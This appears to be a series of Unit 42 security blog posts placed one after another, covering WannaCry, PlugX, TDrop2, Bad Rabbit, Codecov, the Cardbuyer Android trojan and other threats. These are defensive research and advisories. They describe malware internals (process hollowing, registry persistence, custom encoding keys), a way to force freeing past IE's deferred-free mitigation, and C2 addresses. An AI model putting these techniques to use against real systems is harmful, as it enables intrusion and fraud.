On Friday May 12, 2017, Microsoft took the extraordinary step of releasing patches for out-of-support versions of Windows to help protect against these attacks.
As the attack leverages this Microsoft vulnerability, the most appropriate first step to take against the attack is to apply the patches.
Unit 42 researchers have confirmed that the patch is effective against the WanaCrypt0r Ransomware attacks.
In addition, Palo Alto Networks, and other vendors, including our fellow members of the Cyber Threat Alliance, have released additional protections that help prevent the spread of the WanaCrypt0r ransomware.
For information on Palo Alto Networks protections, please see our posting Palo Alto Networks Protections Against WanaCrypt0r Ransomware Attacks.
As with all ransomware attacks, Palo Alto Networks and Unit 42 recommends that anyone affected NOT pay the ransom.
Unit 42 is not aware of any reports where paying the ransom to the WanaCrypt0r attackers has resulted in the recovery of data.
In addition, Unit 42 research has shown that very few have attempted to pay the ransom.
Unit 42 is following this situation very closely and will update this blog with any new information as it becomes available.
WanaCrypt0r is a global ransomware attack that emerged on Friday, May 12, 2017.
It immediately gained broad media attention, due to its destructive nature, how widespread it was, and multiple high profile victims.
This attack uses the version 2.0 of this ransomware.
WanaCrypt0r v 1.0 was first reported a few months ago but did not include the worm capability associated with this attack.
Reports quickly emerged that this attack was effective due to the presence of code exploiting a vulnerability (CVE-2017-0144) in Microsoft Windows (code named: ETERNALBLUE) that was released as part of the Equation Group dump by the Shadow Brokers in their fifth leak on April 14, 2017.
Microsoft patched this vulnerability as part of the March 2017 Monthly Security Update Release by Microsoft Security Bulletin MS17-010.
This is a SYSTEM-level remote code execution (RCE) in the handling of the Server Message Block (SMB) protocol in Microsoft Windows.
The attack uses this vulnerability to spread the WanaCrypt0r ransomware on the network.
This is a classic network worm-class vulnerability like MS-Blaster and Conficker.
Early reports indicated that the initial attack vector was via spam and/or phishing email.
However, this has not been confirmed and is unlikely to account for the global spread of the malware.
When the WanaCrypt0r ransomware executes successfully, it will encrypt key files on the system and display a ransom note as shown below (SOURCE: Microsoft).
Figure 1 Ransom note for WanaCrypt0r
One thing reports have indicated that make this attack unique is a “killswitch” capability built into the malware.
This “killswitch” will prevent the WanaCrypt0r ransomware from executing.
The “killswitch” is code which will attempt to connect to an extremely long domain that should not resolve.
The initial variant of WanaCrypt0r uses hxxp://iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.
]com, however, there are reports of newer variants using different domains.
If it was successful in connecting to the domain, the ransomware would not execute.
However, it was easily subverted to work against the malware.
A security researcher in the United Kingdom initially registered this domain in order to track this threat, and soon discovered that in doing so, he had enabled this “killswitch”, causing a number of instances of WanaCrypt0r to not execute for a large number of infected systems.
On Friday, May 12, 2017, Microsoft announced that they were making an emergency patch available for out-of-support versions of Windows (Windows XP, Windows 8 and Windows Server 2003).
As of this writing attacks appear to have subsided.
This is likely due to increased uptake of the patch MS17-010 in light of the WanaCrypt0r attacks, as well as efforts made within the security community.
Unit 42 research shows there is likely very little actual payment of ransom.
We analyzed our known WanaCrypt0r samples and extract the following Bitcoin (BTC) addresses likely associated with the attackers and associated totals:
This results in a total of 36 BTC, or roughly $63k based on the current price of BTC.
Given that WanaCrypt0r requests $300 per infected machine, we can infer that approximately 210 victims have made payments to the attackers.
Reconnaissance
This attack does not appear to be targeted.
Therefore, there appears to be little recon as part of this attack.
There are some reports that there may be scanning of TCP port 445, which is one of the ports associated with SMB.
But these reports haven’t been conclusively verified.
There is no consensus in the industry on what the delivery method/initial infection vector is.
There have been several theories:
Unit 42 believes the most likely delivery method is method #2.
However, this is not conclusively provenLateral Movement
The WanaCrypt0r ransomware spreads itself by heavily scanning over TCP port 445 (associated with SMB) and attempting to exploit the ETERNALBLUE vulnerability on systems.
A successful attack against this vulnerability will infect the target system with the WanaCrypt0r ransomware, which will encrypt data on the target system and attempt to spread itself once again.
Multiple vendors report that the malware includes the ability to spread via port 445 scans and attacks against the ETERNALBLUE vulnerability not only on internal networks but also across the Internet.
These reports indicate that in addition to the internal lateral movement already outlined, the WanaCrypt0r ransomware will scan for port 445 on random external IP addresses and if it finds an IP address with an open port 445, it will then scan all devices on the same /24 IP range (i.e.
that share the first three octets as that IP address with the open port 445).
In general, WanaCrypt0r does not have C2 capabilities but it does utilize the TOR network to communicate encryption keys for decryption upon payment of ransom.
It has been reported that the DOUBLEPULSAR backdoor (also from the Equation Group leak by Shadow Brokers) is installed and used to execute the malware after successful exploitation of a host via ETERNALBLUE, but this warrants further analysis.
Overall, WanaCrypt0r has been a notable incident within the security community, as the threat couples a wormable vulnerability/exploit with a ransomware family.
Users are urged to apply the necessary Microsoft patch to protect themselves against this threat.
For protections, customers are advised to view this blog post that outlines the various ways the Palo Alto Networks platform prevents this threat.
Cyber Threat Alliance member ElevenPaths has developed a tool which can be used to attempt to recover some files deleted by WanaCrypt0r.
You can find more information on this tool here.
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Today, Microsoft patched 59 Internet Explorer vulnerabilities, 21 of them discovered by Palo Alto Networks researchers.
Palo Alto Networks is committed not only to detecting attacks, but preventing them as well.
Our internal research team discovered each of these 21 vulnerabilities and reported them to Microsoft so they could begin building and testing patches.
Microsoft has already credited our team with 14 previous IE vulnerabilities in 2014, bringing our total for the year up to 35.
We want to acknowledge Palo Alto Networks researchers Bo Qu, Hui Gao, Royce Lu, Xin Ouyang and the entire IPS team for all of the hard work they’ve put into discovering and validating these vulnerabilities.
The table below provides a summary of the vulnerabilities and which versions of Internet Explorer they impact.
Internet Explorer is used in many of the networks Palo Alto Networks protects around the world and we’re doing our part to make it as secure as possible.
Last week we released a series of IPS signatures to detect an advanced exploitation technique that takes advantage of ActiveX.
In May, we linked a recent IE 0-day (CVE-2014-1776) to exploit code used against two other IE vulnerabilities exploited in the last 12 months.
Microsoft patched 129 IE vulnerabilities in all of 2013 and today’s release brings the 2014 total to 116.
The faster the good guys track these down and get them patched, the harder we make the lives of the criminals looking to exploit them.
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The Brazilian Central Bank recently announced that 2017 was the first year in which people did more banking using mobile devices than on PCs.
There were 24.5 billion mobile banking transactions while there were 20.6 billion PC-based transactions.
Not all countries are embracing mobile banking as quickly as Brazil.
But, mobile banking use is picking up around the globe.
What is it?
As more people move to mobile banking, we believe attackers will focus their attacks away from PC banking and towards mobile banking.
This means the risks of losing control of your accounts through mobile online banking are likely to increase.
And that means the money in your accounts is at risk.
Why should I care, what can it do to me?
Attackers are predictable: they follow people and money.
Brazil was one of the first countries to widely embrace Internet banking and to see attackers go after Internet banking.
What can I do about it?
It’s time to take precautions and start good mobile banking security habits.
About
Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.
They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.
Got a topic you want us to write about for you, your friends, or your family?
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In recent research, Palo Alto Networks found attackers were creating fake versions of some well-known and well-trusted websites – including Adobe, DropBox, Facebook, and others- and putting malicious links to these sites into phishing emails sent to unsuspecting victims.
Here we explain this type of attack and what you should do.
What is it?
A method attackers use to target you using email that you might not know about.
Why should I care, what can it do to me?
Attackers can gain access to your personal and financial information.
They can also steal your computer’s processing power to mine for cryptocurrencies, which slows down your system.
How can I prevent it?
Avoid clicking on links that you get in email.
If you get an email and need to go to that website, type the address in your web browser yourself.
If the link is an email from someone you know, you can also contact them to find out if they meant to send it, and if it is safe to visit.
What causes it?
Attackers know that people will click on links in email.
Especially when you get an email from someone that looks like someone you trust.
How does it work?
Attackers send emails that appear to be from a person or company that you trust.
These emails contain malicious links that, when clicked on, lead you to an attacker’s page.
In addition to taking steps so the attacker’s page mimics a legitimate one,  attackers often mirror well known security images, like the lock symbol, to convince you that you are on a secure site.
Once you’re on the attacker’s page, the attackers may ask you for personal information (like usernames, passwords, and bank account information) or to install software, or both.
In recent research, we found attackers were using fake versions of some well-known and well-trusted sites:
About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.
They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.
Got a topic you want us to write about for you, your friends, or your family?
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Recently, FireEye published a blog titled “Operation Poisoned Hurricane” which detailed the use of PlugX malware variants signed with legitimate certificates that used Google Code project pages for command and control (C2).
We were able to uncover multiple additional samples exploiting the same technique as well as an additional Google Code account with multiple projects containing encoded commands.
The attacks against Palo Alto Networks customers, which took place between early June to early July, also targeted users in East Asia; in this case an international law firm’s regional office and a major university.
All of the attacks were detected by our WildFire platform.
Of note, three of the Google Code projects associated with the newly uncovered account were added during the past few days, indicating it is still in active use.
Below is a current screenshot of the newly uncovered Google Code account’s projects.
The encoded commands decode to the below IP addresses.
Interestingly, “/p/pthon”, which is the project page used by some of the newly discovered samples detailed later in this blog, is the only page with the encoded command not included in the summary and is instead in text only on the page itself.
The three pages created since we discovered this user are admmmomn, eyewheye, and joompler.
Table 1
We discovered a total of seven samples, five of which were not in VirusTotal prior to our submission.
Table 2 contains details of a PlugX sample using the PixelPlus Co., Ltd certificate that is currently only detected by four AV vendors.
It has been in use in the wild since at least early June and is the earliest sample related to this activity our team has so far found.
It was targeted against a major university.
It uses one of the Google Code pages noted in FireEye’s blog, “/p/updata-server”, but had a different C2 redirect, noted below.
Interestingly, the IP resolved by the initial website hosting the PlugX malware also served as a C2 server for different malware in mid-December 2013 (MD5: ddd46ce5e5eaaa8e61ce11a121a79266).
At that time the C2 server was qq7712409.3322[.
]org.
Table 2
The PlugX sample in Table 3 also uses the legitimate PixelPlus Co., Ltd certificate and was also targeted against the university.
This sample was not represented in VirusTotal.
It is correctly identified by eleven AV vendors as PlugX malware.
In addition, it also used the same Google Code page and redirect as the previous sample.
The registrant information associated with the website hosting the malware is a domain reseller.
Table 3
We were able to uncover an additional two samples using the QTI International Inc certificate and Google Code pages.
The first sample in the below table was not in VirusTotal and targeted the same university as the previous samples.
Only three AV vendors correctly identified it as PlugX malware.
Table 4
The second sample using the QTI International Inc certificate also uses IP 211.233.89.182 for C2 but does not first connect to a Google Code page and is not PlugX.
Instead it contained two separate Trojans; one known as Cudofows.A by Microsoft, and one only detected by two AV vendors in VirusTotal known as Backdoor.
Win32.Miancha.f by Kaspersky.
This malware also targeted the university.
Of note, the PlugX sample in Table 8 uses a different certificate but was downloaded from the same website.
It also uses the Google Code page “/p/tempzz” for C2, which was also listed in FireEye’s blog.
The website hosting the malware was registered 4 June 2014 via eNom, a well-known domain name registrar.
The registrant address is labtestshowlong[@]outlook.com, which has not been used to register any other domains as of 14 August.
Table 5
Our team was able to further uncover three new samples using the Ssanyong Motor Co., Ltd certificate and Google Code C2 redirection.
None of these were in VirusTotal.
The below sample also uses the Google Code page “/p/pthon”, which was newly uncovered during this research.
The PlugX sample in Table 4 used the same Google Code page and redirect, but the QTI International Inc certificate.
The below PlugX sample was only detected as PlugX malware by two AV vendors.
Table 6
The PlugX sample in Table 7 also targeted the same university as all previous samples.
Eight AV vendors correctly identified it.
Table 7
The final new sample using the SSanyong Motor Co., Ltd certificate is an interesting mix.
It was downloaded from the same website as the sample in Table 5; however, it was targeted against an international law firm’s East Asian office, and uses a Google Code page identified in FireEye’s blog for C2, but an IP not listed in the blog post.
In addition, it was only detected by two AV vendors.
Table 8
We see several indications this is an ongoing campaign, including:
These new methods have somewhat limited efficacy, as further C2 commands would be more obviously detectable because the C2 server no longer appears to be a legitimate website.
However, it is highly likely there are still more unknowns related to this activity, as the actors conducting it have shown an understanding of basic perimeter network defense and some ability to adapt around it.
Prior to publishing this blog, we notified both Microsoft and Google of the malicious accounts using their services in an effort to help thwart this malicious activity.
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On Aug. 25, 2021, Atlassian released a security advisory for an injection vulnerability in Confluence Server and Data Center, CVE-2021-26084.
If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems.
Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun.
Unit 42 recommends customers upgrade to the latest release of Confluence Server and Data Center.
The Atlassian products vulnerable to CVE-2021-26084 are those using the following versions of Confluence Server and Data Center:
Confluence Cloud customers are not affected by this vulnerability.
We recommend that customers update Atlassian Confluence Server and Data Center to the latest version, 7.13.0 (TLS).
You can find the newest release on Atlassian’s download center.
If you cannot install the latest upgrade, see the Mitigation section on the Atlassian security advisory for information on how to mitigate this vulnerability by running a script for the operating system your Confluence server is hosted on.
Palo Alto Networks provides protection against the exploitation of this vulnerability:
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
writeups/Confluence-RCE.md at main · httpvoid/writeups
Confluence Server Download Archives
Confluence Security Advisory - 2021-08-25 | Confluence Data Center and Server 7.13
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Palo Alto Networks recently identified a new campaign targeting the transportation sector in Europe with ties to the Dark Seoul and Operation Troy campaigns that took place in 2013.
This new campaign used updated instances of the Tdrop malware family discovered in the Operation Troy campaign.
For more information on the new campaign discovered by Unit 42, please refer to our recent blog post.
In this attack, attackers embedded the TDrop2 malware inside a legitimate video software package hosted on the software distributor’s website.
By doing this, they were able to target organizations that relied on the distributor’s security camera solution and infect their systems with malware.
They created a true Trojan horse, which sneaks into a network as a gift, but when opened, the attacker’s army leaps out.
The malware used for the attempted infection purported to be a legitimate video player, providing viewing software for security camera solutions.
The following two unique file names were involved in the attack.
The difference between the files involves the specific video player that was dropped and executed during runtime.
Each file would drop and execute the full or light version of the legitimate video player respective to the file name.
Both the legitimate copy of the video player, as well as a malicious executable were bundled into a single executable.
These files were added to the end of the Trojan executable, as seen below.
When initially run, the malware checks to see if its parent process is either explorer.exe or cmd.exe.
In the event the malware is not running in the context of either of these processes, it will exit.
This check exists in a number of the subsequent processes/executables used by the TDrop2 malware variant.
Subsequently, the malware proceeds to extract both the video player and the embedded malware using a series of calls to CreateFile, CreateFileMapping, GetFileSize, and MapViewOfFile.
Once extracted, the file writes it to a new file on disk prior to executing it.
The video player is written to one of the following locations, based on the original filename:
The malware itself is written to the %TEMP% directory as well.
The filename is derived by randomly choosing an executable name from the system32 directory.
The randomly chosen executable must not contain any of the following strings:
This dropped malware begins by performing the same parent process check witnessed in the original sample.
In the event the malware is not running within the parent process of cmd.exe or explorer.exe, it will exit immediately.
This malware sample will also dynamically load a number of functions and libraries.
After the kernel32.dll and ntdll.dll libraries are loaded via calls to GetModuleHandle, the following process takes place:
In total, the following 14 functions are loaded during runtime:
After these functions are loaded, the malware will randomly select an executable from the system32 using the same routine witnessed in the earlier sample.
The malware proceeds to spawn a new process of the selected executable and performs a technique called process hollowing to hide itself inside a legitimate executable.
This leads us to the next stage of our malware
This particular stage of malware acts as a downloader.
The parent process check is not used in this particular sample.
The malware initially attempts to download a file from the following location:
While the link above shows a file extension of an image, the transferred file is in fact a modified executable file.
The downloaded file has the first two bytes of the PE file format replaced with the characters ‘DW’, instead of the usual ‘MZ’.
After the download occurs, the malware immediately corrects the first two bytes with the ‘MZ’ characters prior to writing the file to disk.
The downloaded file is dropped to the system32 folder.
The malware selects a randomly chosen DLL from this directory.
The base name of this DLL is used to write the downloaded file.
As an example, in the event apcups.dll was selected, the malware would write the downloaded file to apcups.exe in the same folder.
The downloader then proceeds to execute this downloaded file in a new process.
As we’ve seen in previous samples, this executable file begins by checking the parent process for the presence of ‘cmd.exe’ or ‘explorer.exe’.
It proceeds to randomly select an executable file in the system32 folder, and performs process hollowing against it.
The injected executable contains the last stage of the TDrop2 malware variant.
Upon execution, we once again see the parent process check to determine if the malware is running within the ‘cmd.exe’ or ‘explorer.exe’ parent process.
It continues to dynamically load a number of libraries and functions for later use.
A feature that has yet to be seen is that of string encryption.
Strings are encrypted using the following function, represented in Python:
After dynamically loading functions and libraries, the malware iterates through the running processes and attempts to determine if the ‘V3lite.exe’ process is running.
This process name is associated with the South Korean-based AhnLab security software provider.
In the event this process is running, the malware will attempt to kill the process’ class window.
The final payload proceeds to generate the following mutex to ensure only one copy of the malware is running concurrently:
Global\SPPLMUTEX
The payload then spawns two threads—one to maintain persistence and another to gather victim information and perform command and control operations.
Persistence is achieved by setting the following registry key:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
The name of the registry key in the above instances is derived from the basename of the supplied argument.
In the event the supplied argument was C:\malware.exe, the registry key would be named ‘malware’, and the path for this key would be ‘C:\malware.exe’.
The persistence thread runs in a loop where the registry keys are set every 60 seconds, ensuring persistence even in the event an administrator manually deletes the registry keys.
The other thread begins by collecting information about the victim, such as the following:
These data points are used to generate a unique victim ID, which is stored in the following registry key:
HKCU\SOFTWARE\Microsoft\HY08A\Build
The malware will continue to decrypt and store embedded C2 URLs.
The following URLs have been identified:
The final payload proceeds to enter its command and control loop.
It initially performs a DNS check against microsoft.com to ensure it has Internet connectivity.
After this check is performed, it enters an infinite loop, with a sleep interval set at a default of 30 minutes.
The malware will periodically poll the C2 server and determine if any commands are received.
The initial POST request contains a unique victim identifier that was previously generated.
The optional response by the C2 server is both encoded and encrypted.
The data is first encrypted using an unidentified algorithm.
The two keys used for this encryption are generated using another unidentified algorithm.
The following Python script can be used to generate the keys.
A default salt of ‘FFFFFFFF’ is used.
Additionally, the following Python script can be used for encryption/decryption
After the data is encrypted, it is then base64-encoded using a custom alphabet.
The following alphabet is used:
3bcd1fghijklmABCDEFGH-J+LMnopq4stuvwxyzNOPQ7STUVWXYZ0e2ar56R89K/
When the previously mentioned C2 response is both decoded and decrypted, we are presented with the following data:
The command structure of the C2 response always begins with the string ‘tick’.
The number following this string is most likely a unique command identifier.
The malware will store these command identifiers in the following files:
In the event the number after the tick was previously witnessed, the command from the C2 will be ignored.
The remaining lines are then parsed.
The following commands are supported:
Once again, using the previous example, the malware will first ensure that the command was not previously parsed/executed.
In the event it is new, it will proceed to execute the various reconnaissance commands found on line #2.
The results of these commands are uploaded to the C2 server.
As we can see in the above network traffic, the malware attempts to disguise the data as a .gif image.
Finally, the malware will parse the third line, which instructs the malware to modify the wait interval to a value of ‘60’.
This interval value is set in the following registry key:
HKCU\Software\Microsoft\HY08A\Policy
Additionally, in the event the C2 response instructs the malware to update C2 URLs, it will be in the following format:
1001; [unique_identifier] [url]
The malware will encrypt the URL string with a 4-byte XOR key of “\x01\x02\x03\x04” and store this data in the following registry key:
HKCU\Software\Microsoft\HY08A\[unique_identifier]
The TDrop2 malware family that was witnessed in a recent attack against a European transportation company provided a minimal set of commands to the attackers.
It was most likely used to establish a foothold, perform reconnaissance and deploy further malware into the victim’s network.
While the malware lacked a large set of capabilities, it had a wealth of interesting and advanced features, such as the custom encryption/encoding witnessed in the network traffic, the use of process hollowing against a randomly selected Microsoft Windows binary, and the downloading component that attempted to bypass network security measures by modifying the executable header.
We created the AutoFocus tag TDrop2 to identify samples of this new variant and added known C2 domains and hash values to the Threat Prevention product set.
At this time, WildFire is able to correctly identify the samples associated with this campaign as malicious.
Stage 1
Stage 2
Stage 3
Stage 4
Stage 5
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A recent vulnerability in the Kerberos authentication protocol, CVE-2020-17049 (dubbed Bronze Bit), has been disclosed by Microsoft.
The vulnerability is in the way that the Key Distribution Center (KDC) handles service tickets and validates whether delegation is allowed.
In the attack, as detailed in the Palo Alto Networks Security Operations blog, “Protecting Against the Bronze Bit Vulnerability with Cortex XDR,” the attacker tampers with the Kerberos service ticket, which allows the attacker to authenticate to the target as any user, including sensitive accounts and members of the “Protected Users” group.
The vulnerability was patched by Microsoft, and the patch will be gradually deployed with upcoming Windows updates.
Microsoft aims to enforce using the patch only on or after May 11, 2021.
Palo Alto Network customers running Cortex XDR version 7.3 with the latest content update are protected from “Pass-the-Ticket” attacks using the standard Windows API.
Customers running Cortex XDR Pro with analytics enabled will get alerted on related suspicious activities and specifically on a delegation from or to a protected user.
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
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Use-after-free bugs have affected Internet Explorer for years.
In the past year alone, Microsoft patched 122 IE vulnerabilities, the majority of which were use-after-free bugs.
This year Microsoft has already patched 126 IE vulnerabilities to date.
Of those vulnerabilities, 4 were actively being exploited in the wild.
These 4 exploits (CVE-2014-1815, CVE-2014-1776, CVE-2014-0322, CVE-2014-0324) were all based on use-after-free bugs.
To deal with the increasing number of use-after-free bugs and associated exploits, Microsoft introduced a series of new control mechanisms in the most recent Internet Explorer patches.
In June, Microsoft introduced a new isolated heap mechanism to solve the usage issue of use-after-free exploitation.
They followed that up In July by implementing a deferred free method to solve the freeing issue of use-after-free bugs.
The main concept of an isolated heap is simple.
It allocates a dedicated heap for select critical objects to use that is separate from other heaps that a user can directly access.
The heap block will not be occupied by user-controlled data after the critical objects are freed.
This mechanism prevents precise control of the data of a freed object from further exploitation.
Figure 1.
_g_hIsolatedHeap handle used for isolated heap
The isolated heap was applied to many but not all internal objects, leaving some still vulnerable.
To address this, Microsoft introduced another protection method of deferred free named ProtectedFree.
They encapsulate this method and apply it to almost every object in mshtml.dll.
In IE9, for example, it has been applied to every object through MemoryProtection::HeapFree as shown in figure 2.
Figure 2.
References of MemoryProtection::HeapFree
The main idea of this protection mechanism is to delay the freeing action so that the intruder is unable to determine when they can occupy the freed object using controlled data.
In this new patch, every time Internet Explorer tries to free an object, it is not freed immediately.
Instead, the block to be freed is marked and filled with 0x00 data and added to a pool.
When the size of the pool hits a predefined threshold, which is currently 100k (0x186A0 as highlighted in figure 3), it performs the real freeing operation (ReclaimUnmarkedBlocks).
Figure 3.
C++ style pseudo code of ProtectedFree function
Microsoft stores the to-be-freed blocks in a structure called st_ProtecFreeManageHeap.
This structure is created in the function MemoryProtection::CMemoryProtector::ProtectCurrentThread and is used to manage deferred free heap blocks.
Figure 4 shows an example of the structure in memory.
Figure 4. st_ProtecFreeManageHeap
Figure 5 provides an alternate view of the structure in a C style code block.
Figure 5.
C style code of st_ProtecFreeManageHeap
If we were able to make the size of the current heap block in this structure larger than the threshold of 0x186A0 bytes and trigger CMemoryProtector::ProtectedFree, it is still possible to force a true freeing action and occupy the freed object with other data as we show in the following piece of javascript code in figure 6.
Figure 6.
Javascript proof of concept to force freeing
When creating the anchor element, the debug logs are shown in figure 7.
The address of the anchor element is 0x0c3b3f98.
Figure 7: Before free
We then manually decrease the reference number, so the CMemoryProtector::ProtectedFree function will fill the block with 0’s, but the object is still not freed.
Figure 8: decrease the reference number, not yet freed
Finally we make the size of the CMemoryProtector::ProtectedFree management structure larger than 0x186a0 forcing the freeing operation.
Figure 9: field “TotalMemorySize” of st_ProtecFreeManageHeap is greater than threshold
The anchor element is now actually freed as shown in figure 10.
Figure 10: object is in the free list now
From a researchers' point of view, deferred free created a few problems, one of the major ones being that the page heap feature may not work correctly.
Page heap is a useful feature for debugging.
When page heap is turned on, the system allows only one object in one memory page.
Once this object is freed the whole page is marked as invalid.
So the next time IE tries to access a freed object an invalid address exception would be raised.
This mechanism is extremely helpful when researchers are trying to find use-after-free bugs.
With the introduction of the deferred free patch the object is no longer truly freed, so the page still exists.
In this situation the researcher is no longer able to determine whether a use-after-free behavior has occurred because no exception would be thrown out.
To reduce the impact of the deferred free patch, a research may consider patching the mshtml.dll in memory.
For example, you can call MemoryProtection::CMemoryProtector::UnprotectProcess before you perform any fuzzing tasks.
The recent patches and introduction of isolated heap and deferred free are strong signs that Microsoft plans to address the fundamentals of use-after-free exploitation in a preventative manner rather than to passively patch the vulnerabilities as they are discovered.
From the results of our research, applications of such methods can effectively stop unpatched use-after-free attacks.
It can also make the exploitations of heap overflows or type confusion bugs significantly more difficult.
But this is not the end.
For the foreseeable future, Microsoft may introduce more defensive mechanisms against use-after-free bugs or even heap fengshui to reduce the risk of being exploited.
Could it be game over for use-after-free exploitation, or it is just the beginning of another cat and mouse game?
Time will tell.
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This Unit 42 blog post provides an update on the threat situation surrounding the Bad Rabbit ransomware attacks.
Attack Overview
Bad Rabbit is a ransomware attack that, at the time of this writing, appears to primarily be affecting countries in Eastern Europe.
While not spreading as widely as the Petya/NotPetya attacks, reports indicate that where Bad Rabbit has hit, it has caused severe disruption.
The Ukrainian CERT has issued an alert on Bad Rabbit.
As detailed below, Bad Rabbit gains initial entry by posing as an Adobe Flash update.
Once inside a network it spreads by harvesting credentials with the Mimikatz tool as well as using hard coded credentials.
Bad Rabbit is similar to Petya/NotPetya insofar as it encrypts the entire disk.
We are not aware of any reports of successful recovery after paying the ransom.
Because the initial attack vector is through bogus updates, Bad Rabbit attacks can be prevented by only getting Adobe Flash updates from the Adobe web site.
Reconnaissance
This attack does not appear to be targeted.
Therefore, there appears to be little reconnaissance as part of this attack.
Delivery/Exploitation
According to ESET, the initial infection vector for Bad Rabbit is through a fake Adobe Flash update that is offered up from compromised websites.
Proofpoint researcher Darien Huss‏ has reported this fake update was hosted at 1dnscontrol[.]com.
Reports differ on whether this is delivered through social engineering that convinces the user to install the fake update or if it is delivered silently through unpatched vulnerabilities (i.e.
“drive-by” installs).
Lateral Movement
Once inside a network, Bad Rabbit propagates itself to other systems.
Reports indicate that it harvests credentials using Mimikatz and Maarten van Dantzig reports it also uses common hardcoded credentials to spread.
Command and Control (C2)
At this time, we have no information on command and control for Bad Rabbit.
Conclusion
Bad Rabbit is not as widespread of an attack as Petya/NotPetya but is causing severe disruptions where it is occurring.
It is similar to Petya/NotPetya in terms of the impact of a successful attack.
However, it is a different attack with different malware.
We will update this blog with new information as it becomes available.
For information on how Palo Alto Networks products prevent Bad Rabbit, please see our Palo Alto Networks Protections Against Bad Rabbit Ransomware Attacks blog post.
As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.
Version Summary
October 24, 2017 2:30 p.m. PT
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This post is also available in:
日本語 (Japanese)
On April 16, Codecov, an online platform and software company that provides code testing reports and statistics, disclosed that an adversary modified their Bash Uploader script.
The Bash Uploader script allows its customers to send code coverage reports to the Codecov platform for analysis.
Codecov’s investigation found that beginning January 31, a threat actor made periodic, unauthorized alterations to the Bash Uploader script.
The script was modified to export information out of their users’ continuous integration (CI) environments to a third-party server outside of Codecov’s infrastructure.
This information could include, but is not limited to, credentials, tokens, services, datastores and application code.
This incident is not limited to clients who only used the Bash Uploader script.
This script can also be found in other tools such as:
As of the time of this writing, based on signatures and indicators that have been observed, Palo Alto Networks customers are protected across our product ecosystem, with specific protections deployed in the following products and subscriptions:
Organizations using Codecov’s Bash Uploader script, or one of the other impacted tools should carefully evaluate their exposure to this threat.
We recommend customers take advantage of the protections listed above and implement the remediation actions recommended by Codecov to limit their impact.
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On April 21st our WildFire analysis cloud detected a new Android Trojan, which is currently completely undetected in VirusTotal and uses a new combination of tactics to make money for the author.
Based on the state of the code and the limited distribution we believe we may have detected this malware during a testing phase, before the attacker released it into the wild through an app store or other means.
We’ve named the Trojan Cardbuyer because of the way it converts an infection into cash for the author.
Cardbuyer is much “smarter” compared to the existing Android malware families that we have ever seen.
Specifically, this malware sample can solve CAPTCHA challenges, emulate user’s behaviors, parse SMS’s content from different vendors, and then automatically reply the confirmation message accordingly.
Code analysis shows that this malware sample can defeat the existing multi-factor verification procedures of many popular game platforms or online payment systems, and impersonate the smartphone user in making the purchase.
While some Android Trojans send premium SMS messages or steal banking credentials, Cardbuyer specifically targets Chinese video games and mobile platforms by purchasing pre-paid and top-up cards.
The attacker can then convert these cards into cash, while the victim’s mobile account is charged for the purchase.
It proves again that the SMS channel is insecure for user authentication in online purchase confirmation.
Cardbuyer’s code allows it to target any of the following services and evade their SMS-based authentication mechanisms:
The vulnerability that Cardbuyer exploits is that many services in China rely on sending and receiving SMS messages to authorize mobile purchases.
This assumes that the mobile phone making the purchase is not only in the possession of the owner, but also that malware is not intercepting their messages.
The service providers have recognized that this is a problem and placed multiple hurdles along the way, but Cardbuyer jumps over each of them.
Cardbuyer in Action
The sample of Cardbuyer we detected this week is disguised as “sexy” video application.
The name is看片神器 which translates to “a super tool for watching videos” and the icon is a provocative photo.
The Trojan was detected by WildFire when a user at a university in China downloaded an Android APK file from fdown.u.qiniudn.com, a Chinese cloud-based file storage service.
After installation, Cardbuyer will be launched automatically by system events and run stealthily in the background.
Once launched, it contacts a command and control server hosted in China using an HTTP GET request to the following website to register the infection with the attacker: http://14.17.95.205:21910/my/service.php.
Next, Cardbuyer begins to methodically jump each of the hurdles put in place by tianxiafu.cn, a third party gateway for purchasing game cards for Perfect World, one of the biggest digital game vendors in China.
The first hurdle to pass is a CAPTCHA, which is intended to prevent machines from ever attempting to log into the tianxiafu.cn website.
It asks users to look at some slightly skewed numbers (see below) and type them into a box.
To add context for the following webpage (Figure 1), written in Chinese: the user is asked to recognize the CAPTCHA image and reply the recognized verification code back to the vendor in order to continue the purchase procedure.
Figure 1.
The payment page of tianxiafu.cn
Cardbuyer evades this CAPTCHA by downloading the CAPTCHA image (Figure 2) and recognizing the image using a Chinese cloud based CAPTCHA solving service named UUDama.
UUDama uses a combination of machines and humans to quickly take CAPTCHA images submitted by Cardbuyer (or anyone else who will pay) and turn them into the expected text within 60 seconds.
We are even able to capture the username “liweixw” and its password for malware to login into the UUDAMA website, (Figure 3).
Figure 2.
Cardbuyer retrieve the CAPTCHA image from webpage and get recognition result from UUDama
Figure 3.
Cardbuyer will login into UUDAMA website with attacker’s account
With the correct numbers in hand, Cardbuyer then assembles a POST request containing the necessary details to initiate a purchase from the infected mobile phone.
This includes the phones mobile number, as well as the payment method, which is always to charge the user’s China Mobile account.
To avoid having this request rejected by the server, the Trojan alters its user-agent string to appear as Internet Explorer 9 running on Windows 7.
Figure 4.
Cardbuyer input user's phone number and choose to pay by SMS
At this point, Tianxiafu has not yet authenticated that the person making the purchase actually owns the phone in question.
To do that, it generates a one-time-code and asks the user to send an SMS message containing it to a specific phone number.
Figure 5.
The payment platform asks user to send a one-time-code to a specific phone service number (Translation of message in the figure: “Information submitted successfully!
Please use the phone number you submitted 139********” to send a command code 001942415 to 1065800886172, and follow the instructions shown in replied SMS message to confirm the payment”, the 139******** is the current victim user’s phone number)
To pass this hurdle, Cardbuyer uses a regular expression to parse the numbers out of the websites HTML and sends the message using Android’s built-in SMS API.
Figure 6.
Cardbuyer parses command code and phone number from web page
The complicated user verification procedure continues.
